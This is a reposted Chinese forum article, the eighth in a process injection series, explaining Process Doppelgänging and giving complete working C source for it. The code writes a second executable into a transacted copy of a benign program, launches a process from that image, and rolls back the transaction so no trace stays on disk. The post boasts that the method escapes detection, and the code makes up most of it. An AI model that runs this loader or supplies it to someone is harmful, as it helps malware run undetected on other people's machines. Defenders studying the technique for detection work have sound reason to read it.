首页
社区
课程
招聘
[转帖]注入系列之八Doppelganging
发表于: 2019-8-16 12:35 4825

[转帖]注入系列之八Doppelganging

2019-8-16 12:35
4825

在别的网站 看到的注入系列内容  觉得挺好 直接copy转发一下 这个是第八篇 其它的 可以去miao1yan.top网站自己去看

注入系列之一远程线程注入 

注入系列之二劫持远程线程 

注入系列之三反射注入 

注入系列之四傀儡进程 

注入系列之五鬼手 

注入系列之六PowerLoader注释版 

注入系列之七AtomBombing注释版 

注入系列之八Doppelganging 

检测系列之九Earlybird 

注入系列之十CTRL-C注入 

注入系列之十一PROPagate 

不光可以注入 11篇中的某一篇还能过检测读写 玩法很多 


doppelganging背后的想法是改善挖空进程的局限性,即如何将可执行内存指令写入目标过程。Doppelganging通过Windows Transactions实现了这一目标。Doppelganging使用CreateTransaction和CreateFileTransacted  以读写方式加载正常的可执行文件,但随后使用恶意代码覆盖(WriteFile)事务处理文件的内容。然后,Doppelganging创建一个section映射到之前那个打开的正常进程去, 来保存受污染的事务,再创建一个进程 设置它的启动参数 设置peb参数 给他创建一个主线程 让主线程运行入口处的指令,然后对事务执行回滚。回滚将撤消事务执行的更改,这在Doppelganging的上下文中是覆盖正常进程文件,因此对良性文件的更改实际上不会提交到文件系统。但是,这里需要注意的是,该部分受污染的内容仍然在我们新创建的进程内存里。一切神不知鬼不觉 原始进程检测不到任何东西 因为我们又创建了一个进程分身 让他的主线程运行那个section映射的带有感染的指令  原始的进程 在我们事物回滚操作后  污染的痕迹消失了


#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <KtmW32.h>
#include <lmerr.h>
#include <winternl.h>
#include <psapi.h>
#include <Processthreadsapi.h>
#include "ntdefs.h"

// To ensure correct resolution of symbols, add Psapi.lib to TARGETLIBS
#pragma comment(lib, "psapi.lib")


void
DisplayErrorText(
DWORD dwLastError
)
{
HMODULE hModule = NULL; // default to system source
LPSTR MessageBuffer;
DWORD dwBufferLength;

DWORD dwFormatFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_IGNORE_INSERTS |
FORMAT_MESSAGE_FROM_SYSTEM;

//
// If dwLastError is in the network range,
// load the message source.
//

if (dwLastError >= NERR_BASE && dwLastError <= MAX_NERR) {
hModule = LoadLibraryEx(
TEXT("netmsg.dll"),
NULL,
LOAD_LIBRARY_AS_DATAFILE
);

if (hModule != NULL)
dwFormatFlags |= FORMAT_MESSAGE_FROM_HMODULE;
}

//
// Call FormatMessage() to allow for message
// text to be acquired from the system
// or from the supplied module handle.
//

if (dwBufferLength = FormatMessageA(
dwFormatFlags,
hModule, // module to get message from (NULL == system)
dwLastError,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // default language
(LPSTR)&MessageBuffer,
0,
NULL
))
{
DWORD dwBytesWritten;

//
// Output message string on stderr.
//
WriteFile(
GetStdHandle(STD_ERROR_HANDLE),
MessageBuffer,
dwBufferLength,
&dwBytesWritten,
NULL
);

//
// Free the buffer allocated by the system.
//
LocalFree(MessageBuffer);
}

//
// If we loaded a message source, unload it.
//
if (hModule != NULL)
FreeLibrary(hModule);
}

LPVOID GetBaseAddressByName(HANDLE hProcess, char *module)
{
MEMORY_BASIC_INFORMATION mbi;
SYSTEM_INFO si;
LPVOID lpMem;
char moduleName[MAX_PATH] = { 0 };
/* Get maximum address range from system info */
GetSystemInfo(&si);
/* walk process addresses */
lpMem = 0;
while (lpMem < si.lpMaximumApplicationAddress) {
VirtualQueryEx(hProcess, lpMem, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
GetMappedFileName(hProcess, mbi.BaseAddress, moduleName, MAX_PATH);

if (strstr(moduleName,module))//mbi.Type & MEM_IMAGE)
return mbi.BaseAddress;
/* increment lpMem to next region of memory 代码来自miao1yan.top社区*/
lpMem = (LPVOID)((ULONGLONG)mbi.BaseAddress +(ULONGLONG)mbi.RegionSize);

}
return NULL;
}

int main(int argc,char *argv[] )
{

LARGE_INTEGER liFileSize;
DWORD dwFileSize;
HANDLE hSection;
NTSTATUS ret;

UNICODE_STRING string;
if (argc < 3) {
printf("%s <exe to Doppelgang> <your exe>",argv[0]);
return 0;
}
HMODULE hNtdll = GetModuleHandle("ntdll.dll");
if (NULL==hNtdll)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got ntdll.dll at 0x%llx\n", hNtdll);
NtCreateSection createSection = (NtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");

if (NULL == createSection)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got NtCreateSection at 0x%08p\n", createSection);
WCHAR temp[MAX_PATH] = { 0 };
char fileFullPath[MAX_PATH] = { 0 };

GetFullPathName(argv[1], MAX_PATH, fileFullPath, NULL);
MultiByteToWideChar(CP_UTF8, 0, fileFullPath, strlen(fileFullPath), temp, MAX_PATH);
//创建一个事物
HANDLE hTransaction = CreateTransaction(NULL,0,0,0,0,0, temp);
if (INVALID_HANDLE_VALUE == hTransaction)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Created a transaction, handle 0x%x\n", hTransaction);

//CreateFileTransacted 函数用于以事务性操作创建或者打开一个文件、文件流或者文件夹。此函数返回一个可以用于访问此对象的句柄
//以读写的方式加载正常的进程文件
//此处打开良性文件 来miao1yan.top社区学习更多内容
HANDLE hTransactedFile = CreateFileTransacted(fileFullPath,
GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);
if (INVALID_HANDLE_VALUE == hTransactedFile)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] CreateFileTransacted on %s, handle 0x%x\n", fileFullPath, hTransactedFile);

//打开恶意指令文件
HANDLE hExe = CreateFile(argv[2],
GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hExe)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] opened malexe.exe, handle 0x%x\n", hExe);

//获取恶意指令文件大小
BOOL err = GetFileSizeEx(hExe, &liFileSize);
if (FALSE == err)
{
DisplayErrorText(GetLastError());
return -1;
}
dwFileSize = liFileSize.LowPart;
printf("[+] malexe size is 0x%x\n", dwFileSize);
//shsh为恶意指令文件申请buffer
BYTE *buffer = malloc(dwFileSize);
if (NULL == buffer)
{
printf("Malloc failed\n");
return -1;
}
printf("[+] allocated 0x%x bytes\n", dwFileSize);
DWORD read = 0;
if (FALSE == ReadFile(hExe, buffer, dwFileSize, &read, NULL))//读取恶意代码出来
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] read malexe.exe to buffer\n");

DWORD wrote = 0;
if (FALSE == WriteFile(hTransactedFile, buffer, dwFileSize, &wrote, NULL))//吧恶意代码写入之前以事物的方式创建的进程里

{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] over wrote %s in transcation\n", fileFullPath);
// 创建一个映射节 指向刚才打开的进程 为之后创建的进程使用
ret = createSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTransactedFile);
if(FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] created a section with our new malicious %s\n", fileFullPath);


//获取相关api地址
NtCreateProcessEx createProcessEx = (NtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
if (NULL == createProcessEx)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got NtCreateProcessEx 0x%08p\n", createProcessEx);

HANDLE hProcess=0;
my_RtlInitUnicodeString initUnicodeString = (my_RtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");

initUnicodeString(&string, temp);
//用刚才创建映射节 来创建进程
ret = createProcessEx(&hProcess, GENERIC_ALL,NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE);

printf("[+] Created our process, handle 0x%x\n", hProcess);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}

//恶意文件的buffer 按照pe头的格式 提取出入口偏移地址 再加上刚才创建的进程的内存入口地址 就是真正的内存入口地址
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buffer;

PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(buffer + dos_header->e_lfanew);

ULONGLONG oep = ntHeader->OptionalHeader.AddressOfEntryPoint;

oep+=(ULONGLONG)GetBaseAddressByName(hProcess,argv[1]);


printf("[+] our new process oep is 0x%llx\n", oep);
//获取创建线程api
NtCreateThreadEx createThreadEx = (NtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
if (NULL == createThreadEx)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got NtCreateThreadEx 0x%08p\n", createThreadEx);


my_PRTL_USER_PROCESS_PARAMETERS ProcessParams = 0;
//获取创建进程启动参数的api
RtlCreateProcessParametersEx createProcessParametersEx = (RtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
if (NULL == createProcessParametersEx)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got RtlCreateProcessParametersEx 0x%08p\n", createProcessParametersEx);



//ch创建一个进程参数
ret = createProcessParametersEx(&ProcessParams, &string,NULL,NULL,&string,NULL,NULL,NULL,NULL,NULL, RTL_USER_PROC_PARAMS_NORMALIZED);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] creating Process Parameters at 0x%p\n", ProcessParams);

//
LPVOID RemoteProcessParams;
//为进程参数所在的内存 分配一块内存
RemoteProcessParams = VirtualAllocEx(hProcess, ProcessParams, (ULONGLONG)ProcessParams&0xffff + ProcessParams->EnvironmentSize + ProcessParams->MaximumLength, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
if(NULL == RemoteProcessParams)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] creating memory at process for our paramters 0x%08x\n", RemoteProcessParams);
//吧创建的进程参数 写入刚才那块内存里
ret=WriteProcessMemory(hProcess, ProcessParams, ProcessParams, ProcessParams->EnvironmentSize + ProcessParams->MaximumLength,NULL);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] writing our paramters to the process\n");
//获取查询进程信息的api
//看到很多开源的 免费的资料 被各种"山总""大手子"式的人物拿来赚钱 各种起名部 在广海一通宣传 我就觉得这个圈子已经大乱套了 都穷疯了
//啥都拿来卖 抄也要仔细看看人家大佬的代码啊 完全不走心 所以我建了miao1yan.top论坛 希望各位大佬 新人 多多支持
my_NtQueryInformationProcess queryInformationProcess = (my_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
if (NULL == queryInformationProcess)
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] Got NtQueryInformationProcess 0x%08p\n", queryInformationProcess);

PROCESS_BASIC_INFORMATION info;
//查询进程信息
ret = queryInformationProcess(
hProcess,
ProcessBasicInformation,
&info,
sizeof(info),
0);

if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
//获取peb
PEB *peb = info.PebBaseAddress;
//吧进程启动参数写入到peb里面去
ret=WriteProcessMemory(hProcess, &peb->ProcessParameters, &ProcessParams, sizeof(LPVOID), NULL);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] writing our paramters to the process peb 0x%08p\n", peb);
//创建一个进程的主线程
HANDLE hThread;
ret = createThreadEx(&hThread, GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)oep, NULL, FALSE, 0, 0, 0, NULL);
printf("[+] Thread created with handle %x\n", hThread);
if (FALSE == NT_SUCCESS(ret))
{
DisplayErrorText(GetLastError());
return -1;
}
//回滚操作 原来的进程文件 没有恶意代码了 恶意代码不会提交到文件系统 但是新创建的进程 内存仍然存在恶意代码 一切神不知鬼不觉
if (FALSE == RollbackTransaction(hTransaction))
{
DisplayErrorText(GetLastError());
return -1;
}
printf("[+] rolling back the original %s\n", fileFullPath);

CloseHandle(hProcess);
CloseHandle(hExe);
CloseHandle(hTransactedFile);
CloseHandle(hTransaction);
return 0;
}[/pre][/hide]



[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2019-8-16 13:02 被ZwCopyAll编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 36
活跃值: (102)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
谢谢分享 mark
2019-8-16 15:38
0
雪    币: 11
活跃值: (66)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
源码能发来学习一下吗
2021-8-25 06:13
0
游客
登录 | 注册 方可回帖
返回
//